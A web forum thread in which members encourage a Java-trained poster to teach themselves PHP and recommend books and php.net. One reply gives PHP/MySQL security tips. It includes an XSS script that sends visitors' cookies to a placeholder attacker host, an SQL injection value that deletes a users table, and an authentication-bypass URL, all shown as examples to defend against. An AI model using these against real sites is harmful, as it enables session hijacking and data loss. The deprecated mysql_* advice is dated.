by Cerys
26 replies
I learned to program java at uni as part of my software engineering degree, but didn't really dip into the internet programming languages. Do you think its possible to learn PHP, especially with regards to their use for database interactions, from books?
#php #taught
  • Profile picture of the author Billy Deakin
    Hi Cary

    Yes - if you are committed then self taught is the way to go. I did a 3 day intensive course in PHP a few years ago and learned very little - spent a couple of weeks with my head in a couple of books and leared way more!

    There are actually quite a lot of good free online resources on PHP/MySQL so I would suggest you start there, and pick up a couple of books on Amazon.

    Depending on your previous programming experience and literacy you might want to start with something very basic like the For Dummies book, but if you want to dive right in I would receommend PHP and MySQL Web Development by Welling Thompson which will teach you just about everything you need to know!

    Also a good idea to install Xampp as a test server!

    Good luck...

    Bill
    {{ DiscussionBoard.errors[95518].message }}
    • Profile picture of the author xga
      It is possible if you have interest in programming. I learnt PHP/MySQL from books and internet.

      Another great resource is the documentation on php.net. I usually reference it when I am writing php script.
      {{ DiscussionBoard.errors[97874].message }}
  • Profile picture of the author zerofill
    Originally Posted by Cerys View Post

    I learned to program java at uni as part of my software engineering degree, but didn't really dip into the internet programming languages. Do you think its possible to learn PHP, especially with regards to their use for database interactions, from books?
    Most of the PHP guys and gals I talk to have never went to college or a programming class...So...yeah it is definitely possible 8)

    Especially since PHP is a pretty straight forward and forgiving language...Not to strict hehe...truthfully there isn't anything really amazing about it. But I like it
    Signature
    Serp Shaker
    The IM World Will Be Shaken to the Core!
    Join my list at: IMCool.Biz
    New Podcast --> podcast.imcool.biz
    {{ DiscussionBoard.errors[97930].message }}
  • Profile picture of the author Mark Brian
    My job description on the last company I worked for was Senior PHP Programmer and I am all self taught It is one of the easiest languages to learn IMHO and is arguably the only language that has the most number of free online resources/communities.
    Signature

    {{ DiscussionBoard.errors[97945].message }}
    • Profile picture of the author Cerys
      Mark, I think you are my new warrior idol! Like I said I am trained in other languages-java, C, C++ and mark ups too, so on that basis it seems this is doable.
      {{ DiscussionBoard.errors[97961].message }}
      • Profile picture of the author Mark Brian
        Originally Posted by Cerys View Post

        Mark, I think you are my new warrior idol! Like I said I am trained in other languages-java, C, C++ and mark ups too, so on that basis it seems this is doable.
        With your prior experience, especially Java... PHP will be a piece of cake, you might even find it "boring" and later on rant that it is not a true OOP and stuff like that that most "gurus" say I love PHP as it is, it is meant to be simple, as the original PHP creator Rasmus invented it to keep things simple. He actually thinks that some advances made for PHP only made things complicated
        Signature

        {{ DiscussionBoard.errors[97977].message }}
        • Profile picture of the author Ross Dalangin
          PHP is pretty easy. You can learn it in just a day or hours if you already have a background in programming. You'll just need to see the equivalent command of other language you know for PHP. Since you know Java, I'm sure you will understand PHP faster.

          BTW, all of my scripts in the market was done using PHP.
          {{ DiscussionBoard.errors[97997].message }}
        • Profile picture of the author Cerys
          Originally Posted by Mark Brian View Post

          With your prior experience, especially Java... PHP will be a piece of cake, you might even find it "boring" and later on rant that it is not a true OOP and stuff like that that most "gurus" say
          Heh, not being a true OOP is a GOOD thing for me! I never liked OOP in truth, I like C and anything else that's procedural. I like simplicity-PHP is sounding a good thing!
          {{ DiscussionBoard.errors[99643].message }}
  • Profile picture of the author kidino
    Hey, if you know Java, then you can teach yourself PHP ... should be a problem. A programmer is a programmer ...
    Signature

    DIPPEC - PHP Script for Selling Digital Products with Paypal. No more monthly SaaS fees. No more commission fees. Keep it all for yourself (except for Paypal fees).

    Free Pricing Table Builder

    {{ DiscussionBoard.errors[101077].message }}
  • Profile picture of the author Dan Grossman
    If you know how to program well in Java, you can go to work for Yahoo! working on Delicious (a PHP app) the first day you start the job. You'll have no problem picking up the minor syntax differences between most C-style languages... the rest is just looking up libraries and function names that you need with a quick Google search.
    Signature
    Improvely: Built to track, test and optimize your marketing.

    {{ DiscussionBoard.errors[106173].message }}
  • Profile picture of the author Mike Bogowski
    php.net is the only university you will need

    Good Luck!
    {{ DiscussionBoard.errors[110022].message }}
    • Profile picture of the author jasminecameron
      Nothing is impossible dear,dont think that you cant study php think that you can, hard work make perfect. So all the best.
      ---------------------
      Jasmine

      Guaranteed ROI
      {{ DiscussionBoard.errors[110051].message }}
  • Profile picture of the author imstar
    i learn php from various tutorial sites and refer to the official php.net, it's definitely possible.
    {{ DiscussionBoard.errors[110131].message }}
    • Profile picture of the author eljay003
      A friend of mine who has gone to college and has not yet graduated, learned a lot of his programming skills through the internet and some books. He is really into programming stuff. He is really so good, one of the best.

      I met him again, after he went away for a few years. He was so happy to tell me that he is now connected with VPI and his position? Director, Programming Services. I am so happy and so proud of him.

      {{ DiscussionBoard.errors[110315].message }}
  • Profile picture of the author Dan Grossman
    What VPI? Veterinarians Pet Insurance Co?

    Not to burst any bubbles, but any good American programmer is going to get an amazing job right now, even in this economy. In the next 5-10 years, about 1.5 million related jobs will be opening up, in large part due to retirements. How many people enrolled in computer science majors across the entire country? About 2500.

    See the supply and demand issue?

    Starting salary for a masters degree holder in computer science at Google... over $120,000 a year.

    I can't figure out why more people don't choose to study it.
    Signature
    Improvely: Built to track, test and optimize your marketing.

    {{ DiscussionBoard.errors[110395].message }}
    • Profile picture of the author colinredk
      Yes you can teach yourself PHP. Most of the people I know taught themselves PHP. For the web, it's practically the only thing you need. PHP.net is a good resource. They will also point you to installing XAMPPLite on your personal computer. It's an all-in-one install, it has Apache, MySQL, and a PHP server. I would also suggest that you try to load a PHP-based wiki so you can play around with the technology.

      In terms of a book, try to get "PHP and MySQL by Example," in as much as you're veering towards PHP and a database.

      Good luck.
      Signature

      {{ DiscussionBoard.errors[110874].message }}
    • Profile picture of the author Mark Brian
      Originally Posted by Dan Grossman View Post

      What VPI? Veterinarians Pet Insurance Co?

      Not to burst any bubbles, but any good American programmer is going to get an amazing job right now, even in this economy. In the next 5-10 years, about 1.5 million related jobs will be opening up, in large part due to retirements. How many people enrolled in computer science majors across the entire country? About 2500.

      See the supply and demand issue?

      Starting salary for a masters degree holder in computer science at Google... over $120,000 a year.

      I can't figure out why more people don't choose to study it.
      You are correct Dan, just because you can learn things by yourself doesn't mean you shouldn't take formal education. Even though I learned PHP all by myself, I still have a degree in Computer Applications.
      Signature

      {{ DiscussionBoard.errors[110888].message }}
  • Profile picture of the author bettersocial
    Interesting read here guys.

    How long do you think it will take for a programming noob to learn PHP on his own? I'm ready to spend 10-14 hours daily with my head in a good book...

    Btw, what book would you really recommend for a first time php programmer?
    {{ DiscussionBoard.errors[111193].message }}
    • Profile picture of the author Dan Grossman
      Originally Posted by sashas View Post

      Btw, what book would you really recommend for a first time php programmer?
      If you need a book, this is the one I absolutely recommend. It assumes you know a little HTML but no PHP, and goes all the way through building a content management system for a functional "jokes" website, tutorial style.

      Build Your Own Database Driven Website Using PHP & MySQL
      Signature
      Improvely: Built to track, test and optimize your marketing.

      {{ DiscussionBoard.errors[119141].message }}
  • Profile picture of the author bobsoap
    PHP is one of the easiest languages I know. Like all the others here I recommend php.net (of couse!) if you need some references. I never needed any books. The syntax is simple, and with every script you work on you learn more. Just make a start and step into it!
    {{ DiscussionBoard.errors[119100].message }}
  • Profile picture of the author praskuma
    Banned
    [DELETED]
    {{ DiscussionBoard.errors[120009].message }}
    • Profile picture of the author Neil Morgan
      As all programmers know, it's easy to pick up new languages because you know what you're looking for.

      For non-programmers, they also need to learn the basics that apply to all programming languages, so the learning curve is steeper, but perfectly possible.

      With a bit of work, a non-programmer could easily learn those basics and put them to use on their site.

      For larger projects, my feeling is that a non-programmer would be best to outsource. Development of such systems needs previous experience and you can easily tie yourself in knots if you don't know what you're doing. Not because you don't have the ability, simply because you don't have experience. When programming larger projects, there are many traps you can fall into - and you need to have fallen into them to know that you need to avoid them!

      Cheers,

      Neil
      Signature

      Easy email marketing automation without moving your lists.

      {{ DiscussionBoard.errors[120258].message }}
  • Profile picture of the author tim_buchalka
    Yes, it's much easier to learn a new language if you are a programmer. I've been a developer for 20 years, and knew Java inside out, so moving to php was quite straight forward.

    Actually I think it proved to be an advantage knowing an object orientated language, as I could apply the same concepts to php.

    With that said I outsource all development work these days. Honestly it's not worth my time to develop when I can outsource to a team in India or Pakistan who do a crack job, quicker and cheaper that I could.

    Cheers
    {{ DiscussionBoard.errors[123356].message }}
    • Profile picture of the author kelly123
      PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

      I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess. I also learnt this while working with software development company


      1. Do not trust user input
      If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

      Here is an example:
      PHP Code:
      $post_id = intval($_GET['post_id']);
      mysql_query("SELECT * FROM post WHERE id = $post_id");


      Now $post_id will be an integer for sure [IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]


      2. Validate user input on the server side
      If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
      JavaScript validation is only good to reduce the server load.


      3. Do not use user input directly in your SQL queries
      Use mysql_real_escape_string() to escape the user input.
      PHP.net recommends this function: (well a little different)
      PHP Code:
      function escape($values) {
      if(
      is_array($values)) {
      $values = array_map(array(&$this, 'escape'), $values);
      } else {
      /* Quote if not integer */
      if ( !is_numeric($values) || $values{0} == '0' ) {
      $values = "'" .mysql_real_escape_string($values) . "'";
      }
      }
      return
      $values;
      }


      Then you can use it like this:
      PHP Code:
      $username = escape($_POST['username']);
      mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */



      4. In your SQL queries don't put integers in quotes
      For example $id is suppose to be an integer:
      PHP Code:
      $id = "0; DELETE FROM users";
      $id = mysql_real_escape_string($id); // 0; DELETE FROM users - mysql_real_escape_string doesn't escape ;
      mysql_query("SELECT * FROM users WHERE id='$id'");


      Note that, using intval() would fix the problem here.


      5. Always escape the output
      This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

      [code]
      <script>alert('');</script>
      [code]

      If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
      Code:
      <script>document.location.replace('http://attacker/?c='+document.cookie);</script>
      With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

      When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');


      6. When uploading files, validate the file mime type
      If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

      One quick way is to check the file extension:
      PHP Code:
      $valid_extensions = array('jpg', 'gif', 'png'); // ...

      $file_name = basename($_FILES['userfile']['name']);
      $_file_name = explode('.', $file_name);
      $ext = $_file_name[ count($_file_name) - 1 ];

      if( !
      in_array($ext, $valid_extensions) ) {
      /* This file is invalid */
      }


      Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
      simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.


      7. If you are using 3rd party code libraries, be sure to keep them up to date
      If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.


      8. Give your database users just enough permissions
      If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.


      9. Do not allow hosts other than localhost to connect to your database
      If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.


      10. Your library file extensions should be PHP
      .inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding[IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]) and possibly find exploits or see your passwords etc.
      Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:
      Code:
      deny from all

      11. Have register globals off or define your variables first
      Register globals can be very dangerous, consider this bit of code:
      PHP Code:
      if( user_logged_in() ) {
      $auth = true;
      }

      if(
      $auth ) {
      /* Do some admin stuff */
      }


      Now with register globals on an attacker can view this page like this and bypass your authentication:
      http://yourwebsite.com/admin.php?auth=1

      If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:
      PHP Code:
      $auth = false;
      if(
      user_logged_in() ) {
      $auth = true;
      }

      if(
      $auth ) {
      /* Do some admin stuff */
      }


      Defining your variables first is a good programming practice that I suggest you follow anyway.



      12. Keep PHP itself up to date
      Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.


      13. Read security books
      Always find new books about PHP security to read; you can start by reading the 4th book in the PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.


      14. Contribute to this list
      Feel free to reply to this thread and add to this list, it will be helpful for everyone!

      Web application development
      {{ DiscussionBoard.errors[126980].message }}
  • Profile picture of the author bendiggs
    So if all of the above responses have not made it very very very clear to you, yes you can absolutely teach yourself PHP. In fact coming in with a programming background will make things even easier as you will not have to deal with the data structures and algorithms that most beginning developers have to struggle with.
    {{ DiscussionBoard.errors[131002].message }}
  • Profile picture of the author petebolduc
    I am a self-taught php programmer so if I can do it anyone can. While I still have a lot to learn for sure, I find that the knowledge compounds on itself.

    check out the links in my signature

    pete
    {{ DiscussionBoard.errors[149444].message }}
    • Profile picture of the author zapseo
      If you are going to do programming... please, please, please ... be sure to add "version control" as one of the pieces that you need to add to your skillset.

      It will make your life sooooo much easier.

      I have done R&D Software Development for Silicon Valley Companies (Apple, Sun, OpenTV, Frame (now part of Adobe) -- etc.)

      EVERY ONE of them uses version control.

      It's not just for multi-person projects (though if there's more than one person involved, it's nearly absolutely necessary.)

      You can use subversion (it's free, and there are free subversion clients.)

      And the time to do it is when you are starting a project.

      The other piece of software I know that Don (zerofill) likes (so he'll have to give you the link) is a snippet library software -- also free (found somewhere on sourceforge.)

      A few years back I worked with the programmers of a VERY WELL KNOWN IMer -- and they kept fixing bugs and having the bugs "return" into the released code. Version control (properly used) prevents this from happening.

      Among other things, you can "label" releases of your code -- and, if you should need to, you can re-create them.

      Or create branches.

      Essential stuff for professional software development (imnsho).

      Live JoyFully!

      Judy Kettenhofen, Profit Strategist/Copywriter
      NextDay Copy
      (you should look at some of notes in my profile here on the WF)
      {{ DiscussionBoard.errors[307812].message }}

Trending Topics